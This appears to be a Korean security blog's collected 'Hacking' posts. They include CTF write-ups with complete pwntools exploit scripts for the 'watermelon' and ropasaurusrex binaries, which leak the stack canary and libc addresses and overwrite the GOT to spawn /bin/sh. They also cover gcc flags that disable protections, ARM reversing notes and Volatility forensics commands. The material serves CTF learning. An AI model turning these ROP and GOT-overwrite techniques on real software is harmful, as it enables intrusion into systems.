watermelon


이름을 입력하는 곳을 보면 전역변수(bss) 영역에 scanf를 받게 된다.

add, view, modify에 들어가는 인자가 4400만큼 할당받는다.

add함수에서는 어떠한 전역변수 하나가 100인지 비교하고 아니면 곡 추가하고 증가해주는 거 보면 곡의 인덱스인거 같다.

playlist 구조체 : num(4) + music(20) + artist(20)

이러한 구조체가 100개 있는 것이다.


add() : 1byte overflow

view() : playlist view -> view canary

modify() : overflow 


int playlist_struct; // [esp+1Ch] [ebp-113Ch]

unsigned int canary; // [esp+114Ch] [ebp-Ch]

구조체(4400) + canary()


Canary Leak 시나리오

add()로 playlist 100개 채우는데 마지막에 artist만 21개 입력해서 Canary Leak해준다.

view()로 가서 Leak된 Canary를 알아온다.

modify()로 가서 bof 일으키고 Canary 값 맞춰주면서 ROP 해주면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
 
context.log_level = 'debug'
context.arch = 'i386'
 
= process('./watermelon')
libc = ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)
= ELF('./watermelon')
 
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda x : p.sendline(x)
sa = lambda x,y : p.sendafter(x,y)
= lambda x : p.send(x)
 
popret = 0x080484d1 # 0x080484d1 : pop ebx ; ret
pop3ret = 0x080495ad # 0x080495ad : pop ebx ; pop edi ; pop ebp ; ret
bss = e.bss()
 
def add():
    sla('\tselect\t|\t\n','1')
    sla('\tmusic\t|\t','A')
    sla('\tartist\t|\t','A')
 
if __name__ == '__main__':
    sla('name : \n','realsung')
    for i in range(99):
        add()
    sla('\tselect\t|\t\n','1')
    sla('\tmusic\t|\t','A')
    sla('\tartist\t|\t','A'*21)
 
    sla('\tselect\t|\t\n','2')
    p.recvuntil('A'*20)
    canary = u32(p.recv(4)) - ord('A')
    log.info('canary : ' + hex(canary))
 
    ########################################
 
    sla('\tselect\t|\t\n','3')
    sla('select number\t|\t\n','100')
    sla('\tmusic\t|\t','B')
 
    # artist(20) + canary(4) + dummy(8) + sfp(4) + ret 
    pay = 'A'*20
    pay += p32(canary)
    pay += 'A'*12
    pay += flat(e.plt['puts'],popret,e.got['puts'])
    pay += flat(e.plt['read'],pop3ret,0,bss,10)
    pay += flat(e.plt['read'],pop3ret,0,e.got['puts'],8)
    pay += flat(e.plt['puts'],'AAAA',bss) 
    sla('\tartist\t|\t',pay)
 
    sla('\tselect\t|\t\n','4')
 
    p.recvuntil('BYE BYE\n\n')
    puts = u32(p.recv(4))
    log.info('puts : ' + hex(puts))
    libc_base = puts - libc.symbols['puts']
    log.info('libc_base : ' + hex(libc_base))
    system = libc_base + libc.symbols['system']
    log.info('system : ' + hex(system))
 
    sl('/bin/sh\x00')
    s(p32(system))
 
p.interactive()
cs


'Hacking' 카테고리의 다른 글

malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
SQLI 정리  (0) 2019.11.12
LFI Vuln  (0) 2019.11.11
[2013plaidCTF]ropasaurusrex  (0) 2019.11.03

ropasaurusrex


[*] read leak Exploit


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process('./ropasaurusrex')
= ELF('./ropasaurusrex')
= ROP(e)
 
pop3ret = 0x80484b6
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
read_system_offset = 0x9ad60 # read - system
bss = e.bss()
 
payload = 'A'*140 # buf + sfp -> ret
r.read(0,bss,8# /bin/sh\x00 
r.write(1,read_got,4# leak
r.read(0,read_got,4# system
r.raw(read_plt) # read_plt execute -> .got -> system
r.raw('AAAA'# dummy
r.raw(bss) # /bin/sh
payload += str(r)
 
p.send(payload)
p.send('/bin/sh\x00')
 
sleep(1)
 
read = u32(p.recv())
system = read - read_system_offset
 
p.send(p32(system))
 
p.interactive()
cs



[*] write leak Exploit



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
 
= ELF('./ropasaurusrex')
# lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
= ROP(e)
= process('./ropasaurusrex')
#ibrop = ROP("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
 
pop3ret = 0x80484b6
read_plt = e.plt['read']
write_plt = e.plt['write']
read_got = e.got['read']
write_got = e.got['write']
write_system_offset = 0x9add0 # write - system
bss = e.bss()
 
payload = 'A'*140
r.read(0,bss,8# /bin/sh -> bss
r.write(1,write_got,4# write leak
r.read(0,write_got,4# write_got -> system
r.raw(write_plt) # system
r.raw('AAAA'# dummy
r.raw(bss) # /bin/sh
payload += str(r)
 
p.send(payload)
p.send('/bin/sh\x00')
 
sleep(1)
 
write = u32(p.recv())
system = write - write_system_offset
 
p.send(p32(system))
 
p.interactive()
cs


'Hacking' 카테고리의 다른 글

SQLI 정리  (0) 2019.11.12
LFI Vuln  (0) 2019.11.11
ARM Reversing  (0) 2019.08.04
IDA PRO 테마 적용  (0) 2018.12.27
메모리 보호기법 해제  (0) 2018.12.19

ARM Reversing 문제 풀기 위해 좀 정리하려고 한다.

참고 : Reference


Register

R0 ~ R12 : 범용 레지스터 (다목적 레지스터)
R0 : 함수 리턴 값 저장 (EAX 같은 느낌)
R0 ~ R3 : 함수 호출 인자 전달
R13 ~ R15 : 특수 레지스터
R13(SP) : 스택 포인터 : 스택의 맨 위를 가리킴
R14(LR) : 링크 레지스터 : 서브루틴 후에 돌아갈 리턴 주소 저장
R15(PC) : 프로그램 카운터 : 현재 fetch되고 있는 명령어의 주소 - 따라서 현재 실행되는 명령어의 다음다음 주소


CSPR Register

CSPR(Current Program Status Register)

CPSR의 레이아웃은 32비트를 기준으로 8 비트씩, 플래그(Flag) 비트, 상태(Status) 비트, 확장(Extension)비트, 제어(Control)비트로 나뉜다.

N(Negative) : 음수 플래그 (연산 결과가 음수일 경우)
Z(Zero) : 제로 플래그 (연산 결과가 0일 경우, 비교 결과가 같을 경우)
C(Carry) : 캐리 플래그 (연산 결과에서 자리 올림이 발생한 경우)
V(oVerflow) : 오버플로우 플래그 (연산 결과가 오버플로우 난 경우)


Instruction

형식 : <Operation>{<cond>}{S} Rd, Rn, Op2
- Operation : 명령어
- cond : 접미사
- S : CSPR Setting
- Rd(Destination Register) : 목적지 레지스터
- Rn : 레지스터
- 두 번째 OPERAND : 레지스터 or 상수(앞에 #이 붙음)

ex) ADD r0, r1, r2 ; r0 = r1 + r2


접미사

EQ	: Z Set	-> equal
NE	: Z Clear -> not equal
GE	: N equal V -> greater or equal
LT	: N not equal V	-> less than
GT	: Z Clear and (N equal V) -> greater than
LE	: Z Set or (N not equal V) -> less than or equal
S	  : Execution Instruction and CPSR Register Setting

ex) ADDEQ r0, r1, r2 ; if(ZF) r0 = r1 + r2 -> if(r0 == r1+r2){ }


Function Calling

1) 프롤로그 (서브루틴을 호출하기 직전)에 r4 부터 r11 까지 스택에 저장(push)하고 r14(리턴어드레스)를 스택에 저장(push)한다.
2) r0 - r3 중에 함수에 전달할 인자값이 있으면 이것을 r4 - r11 (임의)로 복사한다.
3) 나머지 지역변수들은 r4 - r11 중 남아있는 곳에 할당한다. 
4) 연산을 수행한 후 다른 서브루틴이 있다면 호출한다.
5) r0 에 리턴값(결과)를 저장한다.
6) 에필로그(원래있던 곳으로 복귀)에 스택에서 r4 - r11 을 꺼내고 r15(프로그램 카운터)에서 리턴어드레스(복귀주소)를 꺼낸다.


명령어

산술 연산 (<Operation>{<cond>}{S} Rd, Rn, Op2) 
ADD r0, r1, r2 ; r0 = r1 + r2
SUB r0, r1, r2 ; r0 = r1 - r2
MUL r0, r1, r2 ; r0 = r1 * r2
UMULL r0, r1, r2, r3 ; 부호가 없는 곱하기 r2 * r3 해서 하위 32비트를 r0에, 상위 32비트를 r1에 저장
SMULL r0, r1, r2, r3 ; r2와 r3의 값을 2의 보수 부호 있는 정수로 해석하고 둘을 곱하고 하위 32비트를 r0, 상위 32비트를 r1에 저장
[예제]
SUBNE r1, r2, r3 ; if(!ZF) r1 = r2 - r3
MULEQ r1, r2, r3 ; if(ZF) r1 = r2 * r3


비교 연산 (<Operation>{<cond>} Rn, Op2)
- 비교 연산 결과는 CPSR의 플래그 설정
CMP r0, r1 ; r0 - r1 
TST r0, r1 ; r0 & r2

[예제]
CMP r0 #10 ; r0이 10이면 Zero Flag 0으로 세팅


논리 연산 (<Operation>{<cond>}{S} Rd, Rn, Op2)
AND r0 r1 ; r0 & r1
EOR r0 r1 ; r0 ^ r1
ORR r0 r1 ; r0 | r1

[예제]
AND r0, r1, r2 ; r0 = r1 & r2
EORNE r0, r1, r2 ; if(!ZF) r0 = r1 ^ r2
EORGT r0, r1, r2 ; Greater than r0 = r1 ^ r2

데이터 이동 
- 메모리 접근 불가 (<Operation>{<cond>}{S} Rd, Op2)
MOV r0 r1; r0 <- r1
MVN r0 r1; r0 <~ ~r1

- 메모리 접근 가능 (<Operation>{<cond>}{B, H}{S} Rn, Op2)
* LDR과 STR은 값을 넣는 오퍼랜드 방향이 반대임
LDR r0 r1; r0 = r1(Memory)
STR r0 r1; r1(Memory) = r0

[예제]
MOVEQS r0, r1, LSR #3 ; if(ZF)r0 = (r1 >> 3); CPSR
LDRB r0, [r1], LSL # 2 ; r0 = *(Byte*)r1 << 2
LDR r0, [r1] ; r0 = *r1
LDR r0, 0xdeadbeef ; r0 = *0xdeadbeef
STR r0, [r1, #4] ; *(r1+4) = r0
STR r0, [r1], #4 ; *(r1) = r0 그리고 r1 += 4
LDRB r0, [r1, r2] ; r0 = *(Byete*)(r1+r2)
STRH r0, [r1] ; *(Half Word*)r1 = r0


주소 분기 (<Operation> {<cond>}{S} Label(function))
B operand1 ; Jump operand1
BL operand1, LR ; operand1 함수 호출 LR은 리턴 주소 저장

[예제]
BL _printf ; printf 함수 호출
BL sub_404040 ; sub_404040 함수 호출
B aaaa ; aaaa로 분기 
BEQ success ; 제로 플래그 세팅되어 있으면 success로 분기

베럴 쉬프트 (<Operation> {<cond>}{S} Rd, Rn, Op2, {<Barrel>} Shift)
LSL ; 왼쪽으로 쉬프트, 빈자리 0
LSR ; 오른쪽으로 쉬프트, 빈자리 0
ASL ; 왼쪽으로 쉬프트, 빈자리 부호
ASR; 오른쪽으로 쉬프트, 빈자리 부호

[예제]
MOV r0, r1, LSL #2 ; r0 = r1 << 2
ADD r0, r1, r2, LSL #3 ; r0 = r1 + (r2 << 3)
EOREQ r0, r1, r2, LSR r4 ; if(ZF) r0 = r1 ^ (r2 >> r4)
AND r0, r1, r2 LSR r3 ; r0 = r1 & (r2 >> r3)


Analysis Setting

arm-linux-gnueabi-gcc a.c -o a : ARM Cross Compile

qemu-arm ./a : File Execute

qemu-arm-static -L /usr/arm-linux-gnueabihf ./a : File Execute

GDB

qemu-arm-static -L /usr/arm-linux-gnueabi -g 1234 ./analysis1 : terminal1

gdb-multiarch -q : terminal2

target remote localhost:1234 : terminal2


* ARM Setting *

* 실행 오류시 참고 *

'Hacking' 카테고리의 다른 글

LFI Vuln  (0) 2019.11.11
[2013plaidCTF]ropasaurusrex  (0) 2019.11.03
IDA PRO 테마 적용  (0) 2018.12.27
메모리 보호기법 해제  (0) 2018.12.19
Volatility Commands  (0) 2018.12.02

https://github.com/zyantific/IDASkins

 

IDA에 많은 테마가 있지만 정보가 별로없길래 도움이 될지는 모르겠지만 제가 적용한 방법을 알려드릴게요. 

위에 링크도 참고해주세요.

 

ida-consonance.clr
다운로드

 

adwaita-dark.clr
다운로드

 

 

저는 clr파일을 이용해서 테마 적용시켰습니다. 

경로는 그냥 일단 그냥 IDA 디렉토리 안에 넣어놓았습니다. 어차피 Import 할거라 위치는 상관없습니다.

 

IDA를 키고 Options -> Colors -> Import 해줍니다.

아까 clr 파일을 임포트해주고 재시작하면 될겁니다.

 

 

수고링^^~

'Hacking' 카테고리의 다른 글

[2013plaidCTF]ropasaurusrex  (0) 2019.11.03
ARM Reversing  (0) 2019.08.04
메모리 보호기법 해제  (0) 2018.12.19
Volatility Commands  (0) 2018.12.02
가상머신 메모리 덤프 파일  (0) 2018.10.09

-fno-stack-protector 메모리 보호 기법 SSP(Stack Smashing Protector) 해제

-mpreferred-stack-boundary= 스택의 경계값 설정

-m32 32비트 컴파일 

-z execstack 스택 실행권한 설정

-no-pie 메모리 보호 기법 PIE 해제

 

gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -o asdf asdf.c

보호 기법 설정

ASLR

> cat /proc/sys/kernel/randomize_va_space
2

값이 0이면 ASLR 없음, 1이면 stack, library가 랜덤, 2이면 stack, library, heap이 랜덤.

DEP/NX

> gcc -z execstack ...

STACK에 실행권한 줌. DEP/NX 제거라고 봐도 될듯

CANARY

> gcc -fno-stack-protector ... # SSP 해제
> gcc -fstack-protector ...    # SSP 설정

PIE

> gcc -no-pie ...    # PIE 해제
> gcc -fpie ...      # .text 랜덤
> gcc -fpie -pie ... # PIE 설정

RELRO

> gcc -z relro ...        # PARTIAL-RELRO 설정
> gcc -z relro -z now ... # FULL-RELRO 설정
> gcc -z norelro ...      # NO-RELRO

32bit Compile

> sudo apt install gcc-multilib # 관련 라이브러리 설치 후 사용가능
> gcc -m32 ... # 64bit에서 32bit 컴파일
> gcc -m64 ... # 디폴트이므로 없어도 됨

DUMMY

> gcc -mpreferred-stack-boundary=2 ... # 32bit
> gcc -mpreferred-stack-boundary=4 ... # 64bit

DUMMY 제거

함수 최적화

> gcc -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 ... # 함수 최적화 제거

단독 링크

> gcc -fno-builtin ... # 라이브러리와 링크되지 않고 단독으로 링크

 

 

'Hacking' 카테고리의 다른 글

ARM Reversing  (0) 2019.08.04
IDA PRO 테마 적용  (0) 2018.12.27
Volatility Commands  (0) 2018.12.02
가상머신 메모리 덤프 파일  (0) 2018.10.09
메모리 포렌식 분석 과정  (0) 2018.10.09

Volatility 명령어

vol.py -f [덤프뜰 파일] --profile=[프로파일] (플러그인)

 

Plugins

 

Image Identification : 덤프 파일의 하드웨어 정보

- imageinfo, kdbgscan, kprcscan

 

 


 

Processes and DLLs : 프로세스 분석 및 DLL 분석

- pslist, pstree, psscan, dlllist, dlldump, handles, getsids, verinfo, enumfunc

 

 


 

Process Memory : 프로세스 메모리 분석

- memmap, memdump, procmemdump, dumpfiles, procexedump, vadwalk, vadtree, vadinfo, vaddump

 

memdump

특정 프로세스 PID값을 넣어 그 프로세스 추출 가능

vol.py -f [덤프뜰 파일] --profile=[프로파일] memdump -p [PID] -D [디렉토리]

 

dumpfiles

메모리상에 있는 파일 복구

vol.py -f [덤프뜰 파일] --profile=[프로파일] dumpfiles -Q [메모리주소] -D [디렉토리]

 

 


 

Kernel Memory and Objects : 커널 분석

- modules, modscan, moddump, ssdt, driverscan, filescan, mutantscan, symlinkscan, thrdscan

 

filescan

메모리상에 로드된 모든 파일을 볼 수있다.

 

envars

환경변수 보기

 


 

Networking : 네트워크 분석

- connections, connscan, Sockets, sockscan, netscan

 

connections

네트워크 접속 관련 정보

 

 


 

Registry : 레지스트리 분석

- hivescan, hivelist, printkey, hivedump, hashdump, lsadump, userassist

 

 


 

Crash Dumps, Hibernation, and Conversion : 덤프 분석

- crashinfo, , hibinfo, imagecopy

 

 


 

Malware and Rootkits : 악성코드 및 루트킷 분석

- malfind, , svcscan, ldrmodules, impscan, apihooks, idt, gdt, threads, callbacks, driverirp, devicetree, psxview, ssdt_ex, timers

 

malfind

시그니처 패턴 정보

 

 


 

Miscellaneous : 스트링 분석

- strings, volshell, bioskbd, yarascan, iehistory, mftparser

 

iehistory

인터넷 히스토리

 

mftparser

메모리에 로드된 디코딩 자료들 분석

 

 


 

참고 : https://code.google.com/archive/p/volatility/wikis/CommandReference23.wiki

 

 

'Hacking' 카테고리의 다른 글

IDA PRO 테마 적용  (0) 2018.12.27
메모리 보호기법 해제  (0) 2018.12.19
가상머신 메모리 덤프 파일  (0) 2018.10.09
메모리 포렌식 분석 과정  (0) 2018.10.09
메모리포렌식 Volatility  (0) 2018.10.09

+ Recent posts